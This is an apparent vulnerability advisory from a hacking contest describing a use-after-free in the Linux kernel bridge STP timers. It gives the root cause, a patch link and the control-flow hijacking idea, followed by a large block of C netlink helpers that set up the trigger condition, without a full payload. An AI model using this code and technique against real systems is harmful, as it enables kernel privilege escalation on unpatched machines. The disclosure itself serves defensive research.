Summary

A use-after-free vulnerability in the Linux kernel bridge (net/bridge) Spanning Tree Protocol (STP) implementation.

A bridge that is administratively down while kernel STP is enabled, together with a port driven into the LEARNING state, arms periodic STP timers without an IFF_UP guard.

The teardown path taken by dellink never synchronously deletes those timers, so the backing net_device (which embeds struct net bridge as private data) is freed with a timer list still queued on a per-CPU timer base.

The result is a slab use-after-free in the kmalloc-cg-8k cache.

A patch has been introduced to Linux – https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=2a00517db8de4be7df3d483b215c5544fb30a191

Credit

Two independent security researchers, n132 and sven sze, submitted this during our TyphoonPWN 2026 and won second place in the Linux PE category.

Affected Versions
Root Cause Analysis

The Linux software bridge driver maintains per-bridge STP state, including several periodic timers (hello_timer, tcn_timer, topology_change_timer, and per-port timers) that drive the STP state machine.

These timers are embedded directly inside struct net_bridge, which itself lives in the private-data region of the bridge’s net_device.

The lifetime of those timers is therefore tied to the lifetime of the net_device allocation, and any path that frees the device while a timer remains queued constitutes a use-after-free.

Vulnerability Analysis

The STP timers are armed when STP is enabled and on port state transitions, via br_stp_enable_bridge() and br_port_state_selection().

Critically, the arming path on a port driven into the LEARNING state contains no IFF_UP guard: it will arm timers on a bridge that is administratively down.

The only synchronous deletion of these timers happens in br_stp_disable_bridge(), which is reached from br_dev_stop() on an UP -> DOWN transition (i.e. from ndo_stop).

The problem is the asymmetry between two teardown paths:

  • ndo_stop path: an UP -> DOWN transition runs br_dev_stop() -> br_stp_disable_bridge(), which del_timer_sync()‘s every STP timer. Safe.
  • dellink path: deleting the bridge link directly runs br_dev_delete(), which never calls br_stp_disable_bridge(). Moreover, unregister_netdevice_many() skips ndo_stop entirely for a device that is already DOWN.

Consequently, if a bridge is left DOWN with kernel STP enabled and a port in LEARNING, the STP timers are queued but never synchronously cancelled.

When the bridge link is deleted, the net_device backing it is free netdev()’d while a timer list is still linked into a per-CPU timer base.

The next time that timer base runs ( __run_timers() in softirq context), it dereferences and fires a timer that points into freed slab memory.

Primitive Analysis

The freed object is a net_device with the bridge’s net_bridge embedded as private data, which itself contains the STP timer_lists.

The crucial property is that these timers are still queued and will fire automatically a few seconds later: when __run_timers() runs the dangling timer, call_timer_fn() executes its function field with RDI pointing at the timer list itself.

So as long as we refill the freed slot with a buffer carrying an attacker-controlled function pointer, we obtain a control-flow hijacking primitive.

Exploit
// net.c
#include "net.h"

int bring_interface_down_up(const char* ifname, int up)
{
    struct ifreq ifr = {0};
    int sock = socket(AF_INET, SOCK_DGRAM, 0);
    if (sock < 0)
        return -1;
    strncpy(ifr.ifr_name, ifname, IFNAMSIZ - 1);
    int res = ioctl(sock, SIOCGIFFLAGS, &ifr);
    if (res < 0)
        return -1;
    if (up)
        ifr.ifr_flags |= IFF_UP;
    else
        ifr.ifr_flags &= ~IFF_UP;
    res = ioctl(sock, SIOCSIFFLAGS, &ifr);
    if (res < 0)
        return -1;
    close(sock);
    return 0;
}

int delete_root_qdisc(const char* ifname) {
    int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
    if (sock < 0)
        return -1;
    struct {
        struct nlmsghdr nlh;
        struct tcmsg tcm;
        char buf[1024];
    } req = {0};
    req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg));
    req.nlh.nlmsg_type = RTM_DELQDISC;
    req.nlh.nlmsg_flags = NLM_F_REQUEST;
    req.tcm.tcm_family = AF_UNSPEC;
    req.tcm.tcm_ifindex = if_nametoindex(ifname);
    req.tcm.tcm_parent = 0xFFFFFFFF;
    struct sockaddr_nl nladdr = {.nl_family = AF_NETLINK};
    int res = sendto(sock, &req, req.nlh.nlmsg_len, 0, (struct sockaddr*)&nladdr,
                   sizeof(nladdr));
    if (res < 0)
        return -1;
    close(sock);
    return 0;
}

int syz_net_reset() {
    const char* ifname = "lo";
    if (bring_interface_down_up(ifname, 0) < 0) {
        perror("bring_interface_down_up(lo, 0)");
        return -1;
    }
    if (delete_root_qdisc(ifname) < 0) {
        perror("delete_root_qdisc(lo)");
        return -2;
    }
    if (bring_interface_down_up(ifname, 1) < 0) {
        perror("bring_interface_down_up(lo, 1)");
        return -3;
    }
    return 0;
}

void loUp(void){
    int sock;
    struct ifreq ifr;

    // Open a socket
    sock = socket(AF_INET, SOCK_DGRAM, 0);
    if (sock < 0) {
        perror("Socket creation failed");
        exit(EXIT_FAILURE);
    }

    // Specify the interface (loopback in this case)
    strncpy(ifr.ifr_name, "lo", IFNAMSIZ);

    // Get current flags
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) < 0) {
        perror("Getting interface flags failed");
        close(sock);
        exit(EXIT_FAILURE);
    }

    // Set the interface up
    ifr.ifr_flags |= IFF_UP;

    // Apply the new flags
    if (ioctl(sock, SIOCSIFFLAGS, &ifr) < 0) {
        perror("Setting interface up failed");
        close(sock);
        exit(EXIT_FAILURE);
    }

    // Close the socket
    close(sock);
    return ;
}
int initNL(void ){
    struct if_msg if_up_msg = {
        {
            .nlmsg_len = 32,
            .nlmsg_type = RTM_NEWLINK,
            .nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK,
        },
        {
            .ifi_family = AF_UNSPEC,
            .ifi_type = ARPHRD_NETROM,
            .ifi_index = 1,
            .ifi_flags = IFF_UP,
            .ifi_change = 1,
        },
    };
    int nl_sock_fd = socket(PF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
    FAIL_IF(nl_sock_fd < 0);
    /* Enable extended ACK for detailed error messages */
    int one = 1;
    setsockopt(nl_sock_fd, SOL_NETLINK, NETLINK_EXT_ACK, &one, sizeof(one));
    if_up_msg.ifi.ifi_index = if_nametoindex("lo");
    NLMsgSend(nl_sock_fd, (struct tf_msg *)(&if_up_msg));
    return nl_sock_fd;
}
void loopbackSend (void) {
    struct sockaddr iaddr = { AF_INET };
    int inet_sock_fd = socket(PF_INET, SOCK_DGRAM, 0);
    FAIL_IF(inet_sock_fd < 0 );
    FAIL_IF(connect(inet_sock_fd, &iaddr, sizeof(iaddr)) < 0 );
    FAIL_IF(write(inet_sock_fd, "", 1) < 0);
    close(inet_sock_fd);
}
void loopbackSendn (u64 len) {
    struct sockaddr iaddr = { AF_INET };
    int inet_sock_fd = socket(PF_INET, SOCK_DGRAM, 0);
    FAIL_IF(inet_sock_fd < 0 );
    FAIL_IF(connect(inet_sock_fd, &iaddr, sizeof(iaddr)) < 0 );
    if(len < 0x2a)
        len+=0x2a;
    FAIL_IF(write(inet_sock_fd, "", len-0x2a) < 0);
    close(inet_sock_fd);
}

void markedLoopbackSend (u32 priority) {
    struct sockaddr iaddr = { AF_INET };
    int inet_sock_fd = socket(PF_INET, SOCK_DGRAM, 0);
    FAIL_IF(inet_sock_fd < 0 );
    FAIL_IF(setsockopt(inet_sock_fd, SOL_SOCKET, SO_PRIORITY, &priority, sizeof(priority))< 0 );
    FAIL_IF(connect(inet_sock_fd, &iaddr, sizeof(iaddr)) < 0 );
    FAIL_IF(write(inet_sock_fd, "", 1) < 0);
    close(inet_sock_fd);
}

void loopbackSend2(u32 priority, u64 len){
    struct sockaddr iaddr = { AF_INET };
    int inet_sock_fd = socket(PF_INET, SOCK_DGRAM, 0);
    FAIL_IF(inet_sock_fd < 0 );
    FAIL_IF(setsockopt(inet_sock_fd, SOL_SOCKET, SO_PRIORITY, &priority, sizeof(priority))< 0 );
    FAIL_IF(connect(inet_sock_fd, &iaddr, sizeof(iaddr)) < 0 );
    if(len < 0x2a)
        len+=0x2a;
    FAIL_IF(write(inet_sock_fd, "", len-0x2a) < 0);
    close(inet_sock_fd);
}

/* Generic link operations */
#define NEWLINK_BUF_SIZE 512
struct newlink_req {
    struct nlmsghdr nlh;
    struct ifinfomsg ifi;
    char attrbuf[NEWLINK_BUF_SIZE];
};

char * linkAttrSet(const char *name, const char *kind, __u16 attr_type, size_t attr_size, void *attr_value)
{
    struct newlink_req *req = calloc(1, sizeof(struct newlink_req));

    req->nlh.nlmsg_type  = RTM_NEWLINK;
    req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
    req->nlh.nlmsg_len   = NLMSG_LENGTH(sizeof(struct ifinfomsg));

    req->ifi.ifi_family = AF_UNSPEC;
    req->ifi.ifi_index  = if_nametoindex(name);

    /* IFLA_LINKINFO (nested) */
    struct rtattr *li = (struct rtattr *)((size_t)req + req->nlh.nlmsg_len);
    li->rta_type = IFLA_LINKINFO;
    li->rta_len  = RTA_LENGTH(0);

    /* IFLA_INFO_KIND */
    li->rta_len += RTA_ALIGN(add_rtattr(
        (size_t)li + li->rta_len, IFLA_INFO_KIND, strlen(kind) + 1, (char *)kind));

    /* IFLA_INFO_DATA (nested) */
    struct rtattr *data = (struct rtattr *)((size_t)li + li->rta_len);
    data->rta_type = IFLA_INFO_DATA;
    data->rta_len  = RTA_LENGTH(0);

    /* The actual attribute */
    data->rta_len += RTA_ALIGN(add_rtattr(
        (size_t)data + data->rta_len, attr_type, attr_size, (char *)attr_value));

    li->rta_len += RTA_ALIGN(data->rta_len);
    req->nlh.nlmsg_len += NLMSG_ALIGN(li->rta_len);

    return (char *)req;
}

char * linkAdd(const char *name, const char *kind)
{
    struct newlink_req *req = calloc(1, sizeof(struct newlink_req));

    req->nlh.nlmsg_type  = RTM_NEWLINK;
    req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK;
    req->nlh.nlmsg_len   = NLMSG_LENGTH(sizeof(struct ifinfomsg));

    req->ifi.ifi_family = AF_UNSPEC;
    req->ifi.ifi_index  = 0;

    /* IFLA_IFNAME */
    if(name){
        req->nlh.nlmsg_len += NLMSG_ALIGN(add_rtattr(
            (size_t)req + NLMSG_ALIGN(req->nlh.nlmsg_len),
            IFLA_IFNAME, strlen(name) + 1, (char *)name));
    }
    /* IFLA_LINKINFO (nested) */
    struct rtattr *li = (struct rtattr *)((size_t)req + req->nlh.nlmsg_len);
    li->rta_type = IFLA_LINKINFO;
    li->rta_len  = RTA_LENGTH(0);

    /* IFLA_INFO_KIND */
    li->rta_len += RTA_ALIGN(add_rtattr(
        (size_t)li + li->rta_len, IFLA_INFO_KIND, strlen(kind) + 1, (char *)kind));

    req->nlh.nlmsg_len += NLMSG_ALIGN(li->rta_len);

    return (char *)req;
}

char * linkDel(const char *name)
{
    struct newlink_req *req = calloc(1, sizeof(struct newlink_req));

    req->nlh.nlmsg_type  = RTM_DELLINK;
    req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
    req->nlh.nlmsg_len   = NLMSG_LENGTH(sizeof(struct ifinfomsg));

    req->ifi.ifi_family = AF_UNSPEC;
    req->ifi.ifi_index  = if_nametoindex(name);

    return (char *)req;
}

char * linkSet(const char *name, int up)
{
    struct newlink_req *req = calloc(1, sizeof(struct newlink_req));

    req->nlh.nlmsg_type  = RTM_NEWLINK;
    req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
    req->nlh.nlmsg_len   = NLMSG_LENGTH(sizeof(struct ifinfomsg));

    req->ifi.ifi_family  = AF_UNSPEC;
    req->ifi.ifi_index   = if_nametoindex(name);
    req->ifi.ifi_change  = IFF_UP;
    req->ifi.ifi_flags   = up ? IFF_UP : 0;

    return (char *)req;
}

char * linkFlagsSet(const char *name, __u32 flags, __u32 mask)
{
    struct newlink_req *req = calloc(1, sizeof(struct newlink_req));

    req->nlh.nlmsg_type  = RTM_NEWLINK;
    req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
    req->nlh.nlmsg_len   = NLMSG_LENGTH(sizeof(struct ifinfomsg));

    req->ifi.ifi_family  = AF_UNSPEC;
    req->ifi.ifi_index   = if_nametoindex(name);
    req->ifi.ifi_change  = mask;
    req->ifi.ifi_flags   = flags;

    return (char *)req;
}

char * linkMasterSet(const char *iface, const char *master)
{
    struct newlink_req *req = calloc(1, sizeof(struct newlink_req));

    req->nlh.nlmsg_type  = RTM_NEWLINK;
    req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
    req->nlh.nlmsg_len   = NLMSG_LENGTH(sizeof(struct ifinfomsg));

    req->ifi.ifi_family = AF_UNSPEC;
    req->ifi.ifi_index  = if_nametoindex(iface);

    __u32 master_idx = if_nametoindex(master);
    req->nlh.nlmsg_len += NLMSG_ALIGN(add_rtattr(
        (size_t)req + NLMSG_ALIGN(req->nlh.nlmsg_len),
        IFLA_MASTER, sizeof(__u32), (char *)&master_idx));

    return (char *)req;
}

char * linkMasterDel(const char *iface)
{
    struct newlink_req *req = calloc(1, sizeof(struct newlink_req));

    req->nlh.nlmsg_type  = RTM_NEWLINK;
    req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
    req->nlh.nlmsg_len   = NLMSG_LENGTH(sizeof(struct ifinfomsg));

    req->ifi.ifi_family = AF_UNSPEC;
    req->ifi.ifi_index  = if_nametoindex(iface);

    __u32 master_idx = 0;
    req->nlh.nlmsg_len += NLMSG_ALIGN(add_rtattr(
        (size_t)req + NLMSG_ALIGN(req->nlh.nlmsg_len),
        IFLA_MASTER, sizeof(__u32), (char *)&master_idx));

    return (char *)req;
}

char * linkMtuSet(const char *name, __u32 mtu)
{
    struct newlink_req *req = calloc(1, sizeof(struct newlink_req));

    req->nlh.nlmsg_type  = RTM_NEWLINK;
    req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
    req->nlh.nlmsg_len   = NLMSG_LENGTH(sizeof(struct ifinfomsg));

    req->ifi.ifi_family = AF_UNSPEC;
    req->ifi.ifi_index  = if_nametoindex(name);

    req->nlh.nlmsg_len += NLMSG_ALIGN(add_rtattr(
        (size_t)req + NLMSG_ALIGN(req->nlh.nlmsg_len),
        IFLA_MTU, sizeof(__u32), (char *)&mtu));

    return (char *)req;
}

char * linkProtinfoSet(const char *iface, __u16 attr_type, size_t attr_size, void *attr_value)
{
    struct newlink_req *req = calloc(1, sizeof(struct newlink_req));

    req->nlh.nlmsg_type  = RTM_NEWLINK;
    req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
    req->nlh.nlmsg_len   = NLMSG_LENGTH(sizeof(struct ifinfomsg));

    req->ifi.ifi_family = AF_UNSPEC;
    req->ifi.ifi_index  = if_nametoindex(iface);

    /* IFLA_PROTINFO (nested) */
    struct rtattr *pi = (struct rtattr *)((size_t)req + req->nlh.nlmsg_len);
    pi->rta_type = IFLA_PROTINFO | NLA_F_NESTED;
    pi->rta_len  = RTA_LENGTH(0);

    /* The actual attribute */
    pi->rta_len += RTA_ALIGN(add_rtattr(
        (size_t)pi + pi->rta_len, attr_type, attr_size, (char *)attr_value));

    req->nlh.nlmsg_len += NLMSG_ALIGN(pi->rta_len);

    return (char *)req;
}

/* Dummy device operations */

char * dummyAdd(const char *name)
{
    return linkAdd(name, "dummy");
}

char * dummyDel(const char *name)
{
    return linkDel(name);
}

char * dummySet(const char *name, int up)
{
    return linkSet(name, up);
}
// bridge.h
#ifndef BRIDGE_H
#define BRIDGE_H

#include "net.h"  /* includes net/if.h, rtnetlink, etc. */
#include <linux/if_bridge.h>

#define NEWLINK_BUF_SIZE 512

struct newlink_req {
    struct nlmsghdr nlh;
    struct ifinfomsg ifi;
    char attrbuf[NEWLINK_BUF_SIZE];
};

/** Create a new bridge interface */
char * bridgeAdd(const char *name);

/** Delete a bridge interface */
char * bridgeDel(const char *name);

/** Modify existing bridge (without NLM_F_CREATE) */
char * bridgeChange(const char *name);

/**
 * Bring bridge up or down
 * @param up 0=down, 1=up
 */
char * bridgeSet(const char *name, int up);

/**
 * Enable/disable STP (Spanning Tree Protocol)
 * @param enable 0=disable, 1=enable
 */
char * bridgeStpSet(const char *name, __u32 enable);

/**
 * Enable/disable VLAN filtering
 * @param enable 0=disable, 1=enable
 */
char * bridgeVlanFilterSet(const char *name, __u8 enable);

/**
 * Add interface as bridge port
 * @param bridge bridge interface name
 * @param iface port interface name
 */
char * bridgePortAdd(const char *bridge, const char *iface);

/** Remove interface from bridge */
char * bridgePortDel(const char *iface);

/**
 * Set STP path cost for port
 * @param cost 1-65535, lower = preferred
 */
char * bridgePortCostSet(const char *iface, __u32 cost);

/**
 * Set STP port priority
 * @param priority 0-63, lower = preferred, default=32
 */
char * bridgePortPrioritySet(const char *iface, __u16 priority);

/**
 * Set STP port state
 * @param state BR_STATE_DISABLED=0, BR_STATE_LISTENING=1,
 *              BR_STATE_LEARNING=2, BR_STATE_FORWARDING=3, BR_STATE_BLOCKING=4
 */
char * bridgePortStateSet(const char *iface, __u8 state);

#endif
// net.h
#ifndef NF_H
#define NF_H
#define _GNU_SOURCE
typedef __SIZE_TYPE__ 	size_t;


#include <linux/rtnetlink.h>
#include <linux/pkt_sched.h>
#include <linux/netlink.h>
#include <linux/pkt_cls.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>   
#include <net/if.h>


#define  ELIBX 0x132
#define FAIL_IF(x) if ((x)) { \
    printf("\033[0;31mFail"); \
    perror(#x); \
    printf("\033[0m\n"); \
    exit(-ELIBX); \
}

#define FAIL(x, msg) if ((x)) { \
    printf("\033[0;31mFAIL"); \
    printf("%s\n",msg); \
    perror(#x); \
    printf("\033[0m\n"); \
    exit(-ELIBX); \
}

typedef __u32 u32;
typedef struct tf_msg {
    struct nlmsghdr nlh;
    struct tcmsg tcm;
#define TC_DATA_LEN 0x200
    char attrbuf[TC_DATA_LEN];
};

struct if_msg {
    struct nlmsghdr nlh;
    struct ifinfomsg ifi;
};

typedef unsigned char       u8;
typedef unsigned short      u16;
typedef unsigned int        u32;
typedef unsigned long long  u64;
struct schedAttr {
    size_t type;
    size_t size;
    unsigned char * ctx;
};

/* Extended ACK attribute types */
#ifndef NLMSGERR_ATTR_MSG
#define NLMSGERR_ATTR_MSG   1
#define NLMSGERR_ATTR_OFFS  2
#endif

#ifndef NETLINK_EXT_ACK
#define NETLINK_EXT_ACK     11
#endif

#ifndef NLM_F_ACK_TLVS
#define NLM_F_ACK_TLVS      0x200
#endif

static inline void NLMsgSend_interface (int sock, char *m, const char *ifname) {

    struct tf_msg *ptr = (struct tf_msg *)m;
    // Attach to interface
    ptr->tcm.tcm_ifindex = if_nametoindex(ifname);
    if (!ptr->tcm.tcm_ifindex) {
        perror("if_nametoindex");
        return;
    }
    struct {
        struct nlmsghdr nh;
        struct nlmsgerr ne;
        char buf[0x200];
    } ack;
    size_t len = ((struct nlmsghdr *)m)->nlmsg_len;
    FAIL_IF(write(sock, m, len) == -1);
    FAIL_IF(read(sock , &ack, sizeof(ack)) == -1);
    if(ack.ne.error){
        const char *ext_msg = NULL;
        /* Parse extended ACK if present */
        if (ack.nh.nlmsg_flags & NLM_F_ACK_TLVS) {
            size_t off = sizeof(ack.ne);
            while (off < ack.nh.nlmsg_len - sizeof(ack.nh)) {
                struct nlattr *nla = (struct nlattr *)(ack.buf + off - sizeof(ack.ne));
                if (nla->nla_type == NLMSGERR_ATTR_MSG) {
                    ext_msg = (char *)nla + sizeof(struct nlattr);
                    break;
                }
                off += NLA_ALIGN(nla->nla_len);
                if (nla->nla_len == 0) break;
            }
        }
        if (ext_msg)
            printf("\033[1;33m[!] NLMsgSend error: %d (%s): %s\033[0m\n", ack.ne.error, strerror(-ack.ne.error), ext_msg);
        else
            printf("\033[1;33m[!] NLMsgSend error: %d (%s)\033[0m\n", ack.ne.error, strerror(-ack.ne.error));
    }
}


static inline void NLMsgSend (int sock, char *m) {
    struct {
        struct nlmsghdr nh;
        struct nlmsgerr ne;
        char buf[0x200];
    } ack;
    size_t len = ((struct nlmsghdr *)m)->nlmsg_len;
    FAIL_IF(write(sock, m, len) == -1);
    FAIL_IF(read(sock , &ack, sizeof(ack)) == -1);
    if(ack.ne.error){
        const char *ext_msg = NULL;
        /* Parse extended ACK if present */
        if (ack.nh.nlmsg_flags & NLM_F_ACK_TLVS) {
            size_t off = sizeof(ack.ne);
            while (off < ack.nh.nlmsg_len - sizeof(ack.nh)) {
                struct nlattr *nla = (struct nlattr *)(ack.buf + off - sizeof(ack.ne));
                if (nla->nla_type == NLMSGERR_ATTR_MSG) {
                    ext_msg = (char *)nla + sizeof(struct nlattr);
                    break;
                }
                off += NLA_ALIGN(nla->nla_len);
                if (nla->nla_len == 0) break;
            }
        }
        if (ext_msg)
            printf("\033[1;33m[!] NLMsgSend error: %d (%s): %s\033[0m\n", ack.ne.error, strerror(-ack.ne.error), ext_msg);
        else
            printf("\033[1;33m[!] NLMsgSend error: %d (%s)\033[0m\n", ack.ne.error, strerror(-ack.ne.error));
    }
}

static inline void NLMsgSend_noerr (int sock, char *m) {
        struct {
        struct nlmsghdr nh;
        struct nlmsgerr ne;
        char buf[0x200];
    } ack;
    size_t len = ((struct nlmsghdr *)m)->nlmsg_len;
    FAIL_IF(write(sock, m, len) == -1);
    FAIL_IF(read(sock , &ack, sizeof(ack)) == -1);
}

static inline void NLS(int sock, char *m) {
    NLMsgSend(sock, m);
}

static inline void NLS_IF(int sock, char *m, const char *ifname) {
    NLMsgSend_interface(sock, m, ifname);
}

static inline void NLS_NE(int sock, char *m) {
    NLMsgSend_noerr(sock, m);
}

/* Trafic control for netlink */
static inline void init_tf_msg (struct tf_msg *m) {
    // nlmsghdr
    m->nlh.nlmsg_len    = NLMSG_LENGTH(sizeof(m->tcm));
    m->nlh.nlmsg_type   = 0;    // Default Value
    // We need these flags since https://elixir.bootlin.com/linux/v6.11.8/source/net/netlink/af_netlink.c#L2540
    m->nlh.nlmsg_flags  = NLM_F_REQUEST | NLM_F_ACK; 
    m->nlh.nlmsg_seq    = 0;    // Default Value
    m->nlh.nlmsg_pid    = 0;    // Default Value

    // tcmsg
    m->tcm.tcm_family   = PF_UNSPEC;
    m->tcm.tcm_ifindex  = if_nametoindex("lo");
    m->tcm.tcm_handle   = 0;    // Default Value
    m->tcm.tcm_parent   = -1;   // Default Value for no parent
    m->tcm.tcm_info     = 0;    // Default Value
}

static inline unsigned short add_rtattr (unsigned long rta_addr, unsigned short type, unsigned short len, char *data) {
    struct rtattr *rta = (struct rtattr *)rta_addr;
    rta->rta_type = type;
    rta->rta_len = RTA_LENGTH(len);
    memcpy(RTA_DATA(rta), data, len);
    return rta->rta_len;
}


// Function declarations from net.c
int bring_interface_down_up(const char* ifname, int up);
int delete_root_qdisc(const char* ifname);
int syz_net_reset(void);
void loUp(void);
int initNL(void);
void loopbackSend(void);
void loopbackSendn(u64 len);
void markedLoopbackSend(u32 priority);
void loopbackSend2(u32 priority, u64 len);

/* Generic link operations (RTM_NEWLINK/RTM_DELLINK) */
/**
 * Set an attribute on an existing link via IFLA_INFO_DATA
 * @param name interface name
 * @param kind type: "bridge", "bond", etc.
 * @param attr_type attribute type (e.g., IFLA_BOND_MODE, IFLA_BR_STP_STATE)
 * @param attr_size size of attribute value
 * @param attr_value pointer to attribute value
 */
char * linkAttrSet(const char *name, const char *kind, __u16 attr_type, size_t attr_size, void *attr_value);
/**
 * Create a new link interface
 * @param name interface name
 * @param kind type: "bridge", "bond", "veth", "vlan", "dummy", etc.
 */
char * linkAdd(const char *name, const char *kind);
/** Delete any link by name */
char * linkDel(const char *name);
/** Bring any link up or down (up: 0=down, 1=up) */
char * linkSet(const char *name, int up);
/**
 * Set ifi_flags on any link interface
 * @param name interface name
 * @param flags flags to set (e.g., IFF_BROADCAST | IFF_UP)
 * @param mask which flags to change (ifi_change)
 */
char * linkFlagsSet(const char *name, __u32 flags, __u32 mask);
/** Set master interface (for bridge port / bond slave) */
char * linkMasterSet(const char *iface, const char *master);
/** Remove from master (set master to 0) */
char * linkMasterDel(const char *iface);
/** Set MTU on any link interface */
char * linkMtuSet(const char *name, __u32 mtu);
/**
 * Set an attribute via IFLA_PROTINFO (for port/slave attributes)
 * @param iface interface name
 * @param attr_type attribute type (e.g., IFLA_BRPORT_COST, IFLA_BOND_SLAVE_PRIO)
 * @param attr_size size of attribute value
 * @param attr_value pointer to attribute value
 */
char * linkProtinfoSet(const char *iface, __u16 attr_type, size_t attr_size, void *attr_value);

/* Dummy device operations */
/** Create a new dummy interface */
char * dummyAdd(const char *name);
/** Delete a dummy interface */
char * dummyDel(const char *name);
/** Bring dummy up or down (up: 0=down, 1=up) */
char * dummySet(const char *name, int up);

#endif
// bridge.c
#include "bridge.h"

char * bridgeAdd(const char *name)
{
    return linkAdd(name, "bridge");
}

char * bridgeDel(const char *name)
{
    return linkDel(name);
}

char * bridgeSet(const char *name, int up)
{
    return linkSet(name, up);
}

char * bridgeChange(const char *name)
{
    struct newlink_req *req = calloc(1, sizeof(struct newlink_req));

    req->nlh.nlmsg_type  = RTM_NEWLINK;
    req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
    req->nlh.nlmsg_len   = NLMSG_LENGTH(sizeof(struct ifinfomsg));

    req->ifi.ifi_family = AF_UNSPEC;
    req->ifi.ifi_index  = if_nametoindex(name);

    /* IFLA_LINKINFO (nested) */
    struct rtattr *li = (struct rtattr *)((size_t)req + req->nlh.nlmsg_len);
    li->rta_type = IFLA_LINKINFO;
    li->rta_len  = RTA_LENGTH(0);

    /* IFLA_INFO_KIND = "bridge" (nested inside IFLA_LINKINFO) */
    li->rta_len += RTA_ALIGN(add_rtattr(
        (size_t)li + li->rta_len, IFLA_INFO_KIND, sizeof("bridge"), "bridge"));

    req->nlh.nlmsg_len += NLMSG_ALIGN(li->rta_len);

    return (char *)req;
}

char * bridgePortAdd(const char *bridge, const char *iface)
{
    return linkMasterSet(iface, bridge);
}

char * bridgePortDel(const char *iface)
{
    return linkMasterDel(iface);
}

/* Special bridge options */

char * bridgeStpSet(const char *name, __u32 enable)
{
    return linkAttrSet(name, "bridge", IFLA_BR_STP_STATE, sizeof(__u32), &enable);
}

char * bridgeVlanFilterSet(const char *name, __u8 enable)
{
    return linkAttrSet(name, "bridge", IFLA_BR_VLAN_FILTERING, sizeof(__u8), &enable);
}

/* Special bridge port options */

char * bridgePortCostSet(const char *iface, __u32 cost)
{
    return linkProtinfoSet(iface, IFLA_BRPORT_COST, sizeof(__u32), &cost);
}

char * bridgePortPrioritySet(const char *iface, __u16 priority)
{
    return linkProtinfoSet(iface, IFLA_BRPORT_PRIORITY, sizeof(__u16), &priority);
}

char * bridgePortStateSet(const char *iface, __u8 state)
{
    struct newlink_req *req = calloc(1, sizeof(struct newlink_req));

    req->nlh.nlmsg_type  = RTM_SETLINK;
    req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
    req->nlh.nlmsg_len   = NLMSG_LENGTH(sizeof(struct ifinfomsg));

    req->ifi.ifi_family = AF_BRIDGE;
    req->ifi.ifi_index  = if_nametoindex(iface);

    /* IFLA_PROTINFO (not nested) - hits br_set_port_state() directly */
    req->nlh.nlmsg_len += NLMSG_ALIGN(add_rtattr(
        (size_t)req + NLMSG_ALIGN(req->nlh.nlmsg_len),
        IFLA_PROTINFO, sizeof(__u8), (char *)&state));

    return (char *)req;
}

?

Get in touch

Skip to content